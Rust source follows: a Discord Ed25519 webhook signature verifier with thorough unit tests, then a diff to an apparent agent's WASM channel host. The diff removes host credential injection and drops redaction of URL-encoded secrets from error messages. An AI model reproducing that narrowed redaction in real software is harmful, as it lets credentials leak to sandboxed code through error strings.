|
||||||
Ok(v) => v,
|
|
||||||
Err(_) => return false,
|
|
||||||
};
|
|
||||||
if (now_secs - ts).abs() > 5 {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
use ed25519_dalek::{Signature, VerifyingKey};
|
|
||||||
|
|
||||||
let Ok(sig_bytes) = hex::decode(signature_hex) else {
|
|
||||||
return false;
|
|
||||||
};
|
|
||||||
let Ok(key_bytes) = hex::decode(public_key_hex) else {
|
|
||||||
return false;
|
|
||||||
};
|
|
||||||
let Ok(signature) = Signature::from_slice(&sig_bytes) else {
|
|
||||||
return false;
|
|
||||||
};
|
|
||||||
let Ok(verifying_key) = VerifyingKey::try_from(key_bytes.as_slice()) else {
|
|
||||||
return false;
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut message = Vec::with_capacity(timestamp.len() + body.len());
|
|
||||||
message.extend_from_slice(timestamp.as_bytes());
|
|
||||||
message.extend_from_slice(body);
|
|
||||||
verifying_key.verify_strict(&message, &signature).is_ok()
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
use ed25519_dalek::{Signer, SigningKey};
|
|
||||||
|
|
||||||
/// Helper: generate a test keypair and produce a valid signature for the given timestamp+body.
|
|
||||||
fn sign_test_message(timestamp: &str, body: &[u8]) -> (String, String, String) {
|
|
||||||
let signing_key = SigningKey::from_bytes(&[
|
|
||||||
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
|
|
||||||
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
|
|
||||||
0x1c, 0xae, 0x7f, 0x60,
|
|
||||||
]);
|
|
||||||
let verifying_key = signing_key.verifying_key();
|
|
||||||
|
|
||||||
let mut message = Vec::new();
|
|
||||||
message.extend_from_slice(timestamp.as_bytes());
|
|
||||||
message.extend_from_slice(body);
|
|
||||||
|
|
||||||
let signature = signing_key.sign(&message);
|
|
||||||
|
|
||||||
let public_key_hex = hex::encode(verifying_key.to_bytes());
|
|
||||||
let signature_hex = hex::encode(signature.to_bytes());
|
|
||||||
|
|
||||||
(public_key_hex, signature_hex, timestamp.to_string())
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Category 2: Ed25519 Signature Verification ──────────────────────
|
|
||||||
|
|
||||||
/// Existing tests pass `now_secs` matching their hardcoded timestamp
|
|
||||||
/// so they continue testing crypto-only behavior.
|
|
||||||
const TEST_TS: i64 = 1234567890;
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_valid_signature_succeeds() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body content";
|
|
||||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
|
|
||||||
"Valid signature should verify successfully"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_invalid_signature_fails() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body content";
|
|
||||||
let (pub_key, mut sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
// Tamper one byte of the signature
|
|
||||||
let mut sig_bytes = hex::decode(&sig).unwrap();
|
|
||||||
sig_bytes[0] ^= 0xff;
|
|
||||||
sig = hex::encode(&sig_bytes);
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
|
|
||||||
"Tampered signature should fail verification"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_tampered_body_fails() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"original body";
|
|
||||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
let tampered_body = b"tampered body";
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, &ts, tampered_body, TEST_TS),
|
|
||||||
"Signature for different body should fail"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_tampered_timestamp_fails() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, "9999999999", body, TEST_TS),
|
|
||||||
"Signature with wrong timestamp should fail"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_invalid_hex_signature_fails() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, "not-valid-hex-zzz", &ts, body, TEST_TS),
|
|
||||||
"Non-hex signature should fail gracefully"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_invalid_hex_public_key_fails() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature("not-valid-hex-zzz", &sig, &ts, body, TEST_TS),
|
|
||||||
"Non-hex public key should fail gracefully"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_wrong_length_signature_fails() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
// Too short (only 32 bytes instead of 64)
|
|
||||||
let short_sig = hex::encode([0u8; 32]);
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &short_sig, &ts, body, TEST_TS),
|
|
||||||
"Short signature should fail"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_wrong_length_public_key_fails() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
// Too short (only 16 bytes instead of 32)
|
|
||||||
let short_key = hex::encode([0u8; 16]);
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&short_key, &sig, &ts, body, TEST_TS),
|
|
||||||
"Short public key should fail"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_body_valid_signature() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"";
|
|
||||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
|
|
||||||
"Empty body with valid signature should succeed"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_discord_reference_vector() {
|
|
||||||
// Hardcoded test vector using the RFC 8032 test key
|
|
||||||
// This ensures the implementation matches the standard Ed25519 algorithm
|
|
||||||
let signing_key = SigningKey::from_bytes(&[
|
|
||||||
0xc5, 0xaa, 0x8d, 0xf4, 0x3f, 0x9f, 0x83, 0x7b, 0xed, 0xb7, 0x44, 0x2f, 0x31, 0xdc,
|
|
||||||
0xb7, 0xb1, 0x66, 0xd3, 0x85, 0x35, 0x07, 0x6f, 0x09, 0x4b, 0x85, 0xce, 0x3a, 0x2e,
|
|
||||||
0x0b, 0x44, 0x58, 0xf7,
|
|
||||||
]);
|
|
||||||
let verifying_key = signing_key.verifying_key();
|
|
||||||
let public_key_hex = hex::encode(verifying_key.to_bytes());
|
|
||||||
|
|
||||||
let timestamp = "1609459200";
|
|
||||||
let now_secs: i64 = 1609459200;
|
|
||||||
let body = br#"{"type":1}"#; // Discord PING
|
|
||||||
|
|
||||||
let mut message = Vec::new();
|
|
||||||
message.extend_from_slice(timestamp.as_bytes());
|
|
||||||
message.extend_from_slice(body);
|
|
||||||
|
|
||||||
let signature = signing_key.sign(&message);
|
|
||||||
let signature_hex = hex::encode(signature.to_bytes());
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
verify_discord_signature(&public_key_hex, &signature_hex, timestamp, body, now_secs),
|
|
||||||
"Reference vector should verify"
|
|
||||||
);
|
|
||||||
|
|
||||||
// Same key, but tampered body should fail
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(
|
|
||||||
&public_key_hex,
|
|
||||||
&signature_hex,
|
|
||||||
timestamp,
|
|
||||||
br#"{"type":2}"#,
|
|
||||||
now_secs
|
|
||||||
),
|
|
||||||
"Reference vector with tampered body should fail"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Category: Timestamp Staleness ─────────────────────────────────
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_stale_timestamp_rejected() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
// now_secs is 100 seconds after the timestamp — too stale
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 100),
|
|
||||||
"Stale timestamp (100s old) should be rejected"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_future_timestamp_rejected() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
// now_secs is 100 seconds before the timestamp — future
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS - 100),
|
|
||||||
"Future timestamp (100s ahead) should be rejected"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_fresh_timestamp_accepted() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
// now_secs matches exactly — fresh
|
|
||||||
assert!(
|
|
||||||
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
|
|
||||||
"Fresh timestamp (0s difference) should be accepted"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_non_numeric_timestamp_rejected() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
|
|
||||||
// Pass a non-numeric timestamp string
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, "not-a-number", body, 0),
|
|
||||||
"Non-numeric timestamp should be rejected"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_timestamp_rejected() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
|
|
||||||
// Pass an empty timestamp string
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, "", body, 0),
|
|
||||||
"Empty timestamp should be rejected"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_boundary_5s_accepted() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
// Exactly 5 seconds difference — should be accepted (> 5, not >= 5)
|
|
||||||
assert!(
|
|
||||||
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 5),
|
|
||||||
"Timestamp exactly 5s old should be accepted"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_boundary_6s_rejected() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
|
|
||||||
// 6 seconds difference — should be rejected
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 6),
|
|
||||||
"Timestamp 6s old should be rejected"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_negative_timestamp_rejected() {
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
let body = b"test body";
|
|
||||||
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
|
|
||||||
// Pass a negative timestamp string
|
|
||||||
assert!(
|
|
||||||
!verify_discord_signature(&pub_key, &sig, "-1", body, TEST_TS),
|
|
||||||
"Negative timestamp should be rejected"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -52,12 +52,8 @@ use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse,
|
|||||||
use crate::error::ChannelError;
|
use crate::error::ChannelError;
|
||||||
use crate::pairing::PairingStore;
|
use crate::pairing::PairingStore;
|
||||||
use crate::safety::LeakDetector;
|
use crate::safety::LeakDetector;
|
||||||
use crate::secrets::SecretsStore;
|
|
||||||
use crate::tools::wasm::LogLevel;
|
use crate::tools::wasm::LogLevel;
|
||||||
use crate::tools::wasm::WasmResourceLimiter;
|
use crate::tools::wasm::WasmResourceLimiter;
|
||||||
use crate::tools::wasm::credential_injector::{
|
|
||||||
InjectedCredentials, host_matches_pattern, inject_credential,
|
|
||||||
};
|
|
||||||
|
|
||||||
// Generate component model bindings from the WIT file
|
// Generate component model bindings from the WIT file
|
||||||
wasmtime::component::bindgen!({
|
wasmtime::component::bindgen!({
|
||||||
@@ -69,23 +65,6 @@ wasmtime::component::bindgen!({
|
|||||||
},
|
},
|
||||||
});
|
});
|
||||||
|
|
||||||
/// Pre-resolved credential for host-based injection.
|
|
||||||
///
|
|
||||||
/// Built before each WASM execution by decrypting secrets from the store.
|
|
||||||
/// Applied per-request by matching the URL host against `host_patterns`.
|
|
||||||
/// WASM channels never see the raw secret values.
|
|
||||||
#[derive(Clone)]
|
|
||||||
struct ResolvedHostCredential {
|
|
||||||
/// Host patterns this credential applies to (e.g., "api.slack.com").
|
|
||||||
host_patterns: Vec<String>,
|
|
||||||
/// Headers to add to matching requests (e.g., "Authorization: Bearer ...").
|
|
||||||
headers: HashMap<String, String>,
|
|
||||||
/// Query parameters to add to matching requests.
|
|
||||||
query_params: HashMap<String, String>,
|
|
||||||
/// Raw secret value for redaction in error messages.
|
|
||||||
secret_value: String,
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Store data for WASM channel execution.
|
/// Store data for WASM channel execution.
|
||||||
///
|
///
|
||||||
/// Contains the resource limiter, channel-specific host state, and WASI context.
|
/// Contains the resource limiter, channel-specific host state, and WASI context.
|
||||||
@@ -97,9 +76,6 @@ struct ChannelStoreData {
|
|||||||
/// Injected credentials for URL substitution (e.g., bot tokens).
|
/// Injected credentials for URL substitution (e.g., bot tokens).
|
||||||
/// Keys are placeholder names like "TELEGRAM_BOT_TOKEN".
|
/// Keys are placeholder names like "TELEGRAM_BOT_TOKEN".
|
||||||
credentials: HashMap<String, String>,
|
credentials: HashMap<String, String>,
|
||||||
/// Pre-resolved credentials for automatic host-based injection.
|
|
||||||
/// Applied per-request by matching the URL host against host_patterns.
|
|
||||||
host_credentials: Vec<ResolvedHostCredential>,
|
|
||||||
/// Pairing store for DM pairing (guest access control).
|
/// Pairing store for DM pairing (guest access control).
|
||||||
pairing_store: Arc<PairingStore>,
|
pairing_store: Arc<PairingStore>,
|
||||||
/// Dedicated tokio runtime for HTTP requests, lazily initialized.
|
/// Dedicated tokio runtime for HTTP requests, lazily initialized.
|
||||||
@@ -113,7 +89,6 @@ impl ChannelStoreData {
|
|||||||
channel_name: &str,
|
channel_name: &str,
|
||||||
capabilities: ChannelCapabilities,
|
capabilities: ChannelCapabilities,
|
||||||
credentials: HashMap<String, String>,
|
credentials: HashMap<String, String>,
|
||||||
host_credentials: Vec<ResolvedHostCredential>,
|
|
||||||
pairing_store: Arc<PairingStore>,
|
pairing_store: Arc<PairingStore>,
|
||||||
) -> Self {
|
) -> Self {
|
||||||
// Create a minimal WASI context (no filesystem, no env vars for security)
|
// Create a minimal WASI context (no filesystem, no env vars for security)
|
||||||
@@ -125,7 +100,6 @@ impl ChannelStoreData {
|
|||||||
wasi,
|
wasi,
|
||||||
table: ResourceTable::new(),
|
table: ResourceTable::new(),
|
||||||
credentials,
|
credentials,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
http_runtime: None,
|
http_runtime: None,
|
||||||
}
|
}
|
||||||
@@ -185,74 +159,15 @@ impl ChannelStoreData {
|
|||||||
/// return values to WASM. reqwest::Error includes the full URL in its
|
/// return values to WASM. reqwest::Error includes the full URL in its
|
||||||
/// Display output, so any error from an injected-URL request will
|
/// Display output, so any error from an injected-URL request will
|
||||||
/// contain the raw credential unless we scrub it.
|
/// contain the raw credential unless we scrub it.
|
||||||
///
|
|
||||||
/// Scrubs raw, URL-encoded, and Base64-encoded forms of each secret
|
|
||||||
/// to prevent exfiltration via encoded representations in error strings.
|
|
||||||
fn redact_credentials(&self, text: &str) -> String {
|
fn redact_credentials(&self, text: &str) -> String {
|
||||||
let mut result = text.to_string();
|
let mut result = text.to_string();
|
||||||
for (name, value) in &self.credentials {
|
for (name, value) in &self.credentials {
|
||||||
if !value.is_empty() {
|
if !value.is_empty() {
|
||||||
let tag = format!("[REDACTED:{}]", name);
|
result = result.replace(value, &format!("[REDACTED:{}]", name));
|
||||||
result = result.replace(value, &tag);
|
|
||||||
// Also redact URL-encoded form (covers secrets in query strings)
|
|
||||||
let encoded = urlencoding::encode(value);
|
|
||||||
if encoded != *value {
|
|
||||||
result = result.replace(encoded.as_ref(), &tag);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for cred in &self.host_credentials {
|
|
||||||
if !cred.secret_value.is_empty() {
|
|
||||||
let tag = "[REDACTED:host_credential]";
|
|
||||||
result = result.replace(&cred.secret_value, tag);
|
|
||||||
// Also redact URL-encoded form (covers secrets injected as query params)
|
|
||||||
let encoded = urlencoding::encode(&cred.secret_value);
|
|
||||||
if encoded.as_ref() != cred.secret_value {
|
|
||||||
result = result.replace(encoded.as_ref(), tag);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
result
|
result
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Inject pre-resolved host credentials into the request.
|
|
||||||
///
|
|
||||||
/// Matches the URL host against each resolved credential's host_patterns.
|
|
||||||
/// Matching credentials have their headers merged and query params appended.
|
|
||||||
fn inject_host_credentials(
|
|
||||||
&self,
|
|
||||||
url_host: &str,
|
|
||||||
headers: &mut HashMap<String, String>,
|
|
||||||
url: &mut String,
|
|
||||||
) {
|
|
||||||
for cred in &self.host_credentials {
|
|
||||||
let matches = cred
|
|
||||||
.host_patterns
|
|
||||||
.iter()
|
|
||||||
.any(|pattern| host_matches_pattern(url_host, pattern));
|
|
||||||
|
|
||||||
if !matches {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Merge injected headers (host credentials take precedence)
|
|
||||||
for (key, value) in &cred.headers {
|
|
||||||
headers.insert(key.clone(), value.clone());
|
|
||||||
}
|
|
||||||
|
|
||||||
// Append query parameters to URL
|
|
||||||
if !cred.query_params.is_empty() {
|
|
||||||
if let Ok(mut parsed_url) = url::Url::parse(url) {
|
|
||||||
for (name, value) in &cred.query_params {
|
|
||||||
parsed_url.query_pairs_mut().append_pair(name, value);
|
|
||||||
}
|
|
||||||
*url = parsed_url.to_string();
|
|
||||||
} else {
|
|
||||||
tracing::warn!(url = %url, "Could not parse URL to inject query parameters; skipping injection");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Implement WasiView to provide WASI context and resource table
|
// Implement WasiView to provide WASI context and resource table
|
||||||
@@ -334,7 +249,7 @@ impl near::agent::channel_host::Host for ChannelStoreData {
|
|||||||
let raw_headers: std::collections::HashMap<String, String> =
|
let raw_headers: std::collections::HashMap<String, String> =
|
||||||
serde_json::from_str(&headers_json).unwrap_or_default();
|
serde_json::from_str(&headers_json).unwrap_or_default();
|
||||||
|
|
||||||
let mut headers: std::collections::HashMap<String, String> = raw_headers
|
let headers: std::collections::HashMap<String, String> = raw_headers
|
||||||
.into_iter()
|
.into_iter()
|
||||||
.map(|(k, v)| {
|
.map(|(k, v)| {
|
||||||
(
|
(
|
||||||
@@ -353,12 +268,7 @@ impl near::agent::channel_host::Host for ChannelStoreData {
|
|||||||
"Parsed and injected request headers"
|
"Parsed and injected request headers"
|
||||||
);
|
);
|
||||||
|
|
||||||
let mut url = injected_url;
|
let url = injected_url;
|
||||||
|
|
||||||
// Leak scan runs on WASM-provided values BEFORE host credential injection.
|
|
||||||
// This prevents false positives where the host-injected Bearer token
|
|
||||||
// (e.g., xoxb- Slack token) triggers the leak detector — WASM never saw
|
|
||||||
// the real value, so scanning the pre-injection state is correct.
|
|
||||||
let leak_detector = LeakDetector::new();
|
let leak_detector = LeakDetector::new();
|
||||||
let header_vec: Vec<(String, String)> = headers
|
let header_vec: Vec<(String, String)> = headers
|
||||||
.iter()
|
.iter()
|
||||||
@@ -369,12 +279,6 @@ impl near::agent::channel_host::Host for ChannelStoreData {
|
|||||||
.scan_http_request(&url, &header_vec, body.as_deref())
|
.scan_http_request(&url, &header_vec, body.as_deref())
|
||||||
.map_err(|e| format!("Potential secret leak blocked: {}", e))?;
|
.map_err(|e| format!("Potential secret leak blocked: {}", e))?;
|
||||||
|
|
||||||
// Inject pre-resolved host credentials (Bearer tokens, API keys, etc.)
|
|
||||||
// after the leak scan so host-injected secrets don't trigger false positives.
|
|
||||||
if let Some(host) = extract_host_from_url(&url) {
|
|
||||||
self.inject_host_credentials(&host, &mut headers, &mut url);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get the max response size from capabilities (default 10MB).
|
// Get the max response size from capabilities (default 10MB).
|
||||||
let max_response_bytes = self
|
let max_response_bytes = self
|
||||||
.host_state
|
.host_state
|
||||||
@@ -649,44 +553,6 @@ pub struct WasmChannel {
|
|||||||
/// In-memory workspace store persisting writes across callback invocations.
|
/// In-memory workspace store persisting writes across callback invocations.
|
||||||
/// Ensures WASM channels can maintain state (e.g., polling offsets) between ticks.
|
/// Ensures WASM channels can maintain state (e.g., polling offsets) between ticks.
|
||||||
workspace_store: Arc<ChannelWorkspaceStore>,
|
workspace_store: Arc<ChannelWorkspaceStore>,
|
||||||
|
|
||||||
/// Last-seen message metadata (contains chat_id for broadcast routing).
|
|
||||||
/// Populated from incoming messages so `broadcast()` knows where to send.
|
|
||||||
last_broadcast_metadata: Arc<tokio::sync::RwLock<Option<String>>>,
|
|
||||||
|
|
||||||
/// Settings store for persisting broadcast metadata across restarts.
|
|
||||||
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
|
|
||||||
|
|
||||||
/// Secrets store for host-based credential injection.
|
|
||||||
/// Used to pre-resolve credentials before each WASM callback.
|
|
||||||
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Update broadcast metadata in memory and persist to the settings store when
|
|
||||||
/// it changes. Extracted as a free function so both the `WasmChannel` instance
|
|
||||||
/// method and the static polling helper share one implementation.
|
|
||||||
async fn do_update_broadcast_metadata(
|
|
||||||
channel_name: &str,
|
|
||||||
metadata: &str,
|
|
||||||
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
|
|
||||||
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
|
|
||||||
) {
|
|
||||||
let mut guard = last_broadcast_metadata.write().await;
|
|
||||||
let changed = guard.as_deref() != Some(metadata);
|
|
||||||
*guard = Some(metadata.to_string());
|
|
||||||
drop(guard);
|
|
||||||
|
|
||||||
if changed && let Some(store) = settings_store {
|
|
||||||
let key = format!("channel_broadcast_metadata_{}", channel_name);
|
|
||||||
let value = serde_json::Value::String(metadata.to_string());
|
|
||||||
if let Err(e) = store.set_setting("default", &key, &value).await {
|
|
||||||
tracing::warn!(
|
|
||||||
channel = %channel_name,
|
|
||||||
"Failed to persist broadcast metadata: {}",
|
|
||||||
e
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl WasmChannel {
|
impl WasmChannel {
|
||||||
@@ -697,7 +563,6 @@ impl WasmChannel {
|
|||||||
capabilities: ChannelCapabilities,
|
capabilities: ChannelCapabilities,
|
||||||
config_json: String,
|
config_json: String,
|
||||||
pairing_store: Arc<PairingStore>,
|
pairing_store: Arc<PairingStore>,
|
||||||
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
|
|
||||||
) -> Self {
|
) -> Self {
|
||||||
let name = prepared.name.clone();
|
let name = prepared.name.clone();
|
||||||
let rate_limiter = ChannelEmitRateLimiter::new(capabilities.emit_rate_limit.clone());
|
let rate_limiter = ChannelEmitRateLimiter::new(capabilities.emit_rate_limit.clone());
|
||||||
@@ -719,22 +584,9 @@ impl WasmChannel {
|
|||||||
typing_task: RwLock::new(None),
|
typing_task: RwLock::new(None),
|
||||||
pairing_store,
|
pairing_store,
|
||||||
workspace_store: Arc::new(ChannelWorkspaceStore::new()),
|
workspace_store: Arc::new(ChannelWorkspaceStore::new()),
|
||||||
last_broadcast_metadata: Arc::new(tokio::sync::RwLock::new(None)),
|
|
||||||
settings_store,
|
|
||||||
secrets_store: None,
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Set the secrets store for host-based credential injection.
|
|
||||||
///
|
|
||||||
/// When set, credentials declared in the channel's capabilities are
|
|
||||||
/// automatically decrypted and injected into HTTP requests based on
|
|
||||||
/// the target host (e.g., Bearer token for api.slack.com).
|
|
||||||
pub fn with_secrets_store(mut self, store: Arc<dyn SecretsStore + Send + Sync>) -> Self {
|
|
||||||
self.secrets_store = Some(store);
|
|
||||||
self
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Update the channel config before starting.
|
/// Update the channel config before starting.
|
||||||
///
|
///
|
||||||
/// Merges the provided values into the existing config JSON.
|
/// Merges the provided values into the existing config JSON.
|
||||||
@@ -779,51 +631,6 @@ impl WasmChannel {
|
|||||||
&self.name
|
&self.name
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Settings key for persisted broadcast metadata.
|
|
||||||
fn broadcast_metadata_key(&self) -> String {
|
|
||||||
format!("channel_broadcast_metadata_{}", self.name)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Update broadcast metadata in memory and persist if changed (best-effort).
|
|
||||||
///
|
|
||||||
/// Compares with the current value to avoid redundant DB writes on every
|
|
||||||
/// incoming message (the chat_id rarely changes).
|
|
||||||
async fn update_broadcast_metadata(&self, metadata: &str) {
|
|
||||||
do_update_broadcast_metadata(
|
|
||||||
&self.name,
|
|
||||||
metadata,
|
|
||||||
&self.last_broadcast_metadata,
|
|
||||||
self.settings_store.as_ref(),
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Load broadcast metadata from settings store on startup.
|
|
||||||
async fn load_broadcast_metadata(&self) {
|
|
||||||
if let Some(ref store) = self.settings_store {
|
|
||||||
match store
|
|
||||||
.get_setting("default", &self.broadcast_metadata_key())
|
|
||||||
.await
|
|
||||||
{
|
|
||||||
Ok(Some(serde_json::Value::String(meta))) => {
|
|
||||||
*self.last_broadcast_metadata.write().await = Some(meta);
|
|
||||||
tracing::debug!(
|
|
||||||
channel = %self.name,
|
|
||||||
"Restored broadcast metadata from settings"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
Ok(_) => {}
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!(
|
|
||||||
channel = %self.name,
|
|
||||||
"Failed to load broadcast metadata: {}",
|
|
||||||
e
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the channel capabilities.
|
/// Get the channel capabilities.
|
||||||
pub fn capabilities(&self) -> &ChannelCapabilities {
|
pub fn capabilities(&self) -> &ChannelCapabilities {
|
||||||
&self.capabilities
|
&self.capabilities
|
||||||
@@ -878,7 +685,6 @@ impl WasmChannel {
|
|||||||
prepared: &PreparedChannelModule,
|
prepared: &PreparedChannelModule,
|
||||||
capabilities: &ChannelCapabilities,
|
capabilities: &ChannelCapabilities,
|
||||||
credentials: HashMap<String, String>,
|
credentials: HashMap<String, String>,
|
||||||
host_credentials: Vec<ResolvedHostCredential>,
|
|
||||||
pairing_store: Arc<PairingStore>,
|
pairing_store: Arc<PairingStore>,
|
||||||
) -> Result<Store<ChannelStoreData>, WasmChannelError> {
|
) -> Result<Store<ChannelStoreData>, WasmChannelError> {
|
||||||
let engine = runtime.engine();
|
let engine = runtime.engine();
|
||||||
@@ -890,7 +696,6 @@ impl WasmChannel {
|
|||||||
&prepared.name,
|
&prepared.name,
|
||||||
capabilities.clone(),
|
capabilities.clone(),
|
||||||
credentials,
|
credentials,
|
||||||
host_credentials,
|
|
||||||
pairing_store,
|
pairing_store,
|
||||||
);
|
);
|
||||||
let mut store = Store::new(engine, store_data);
|
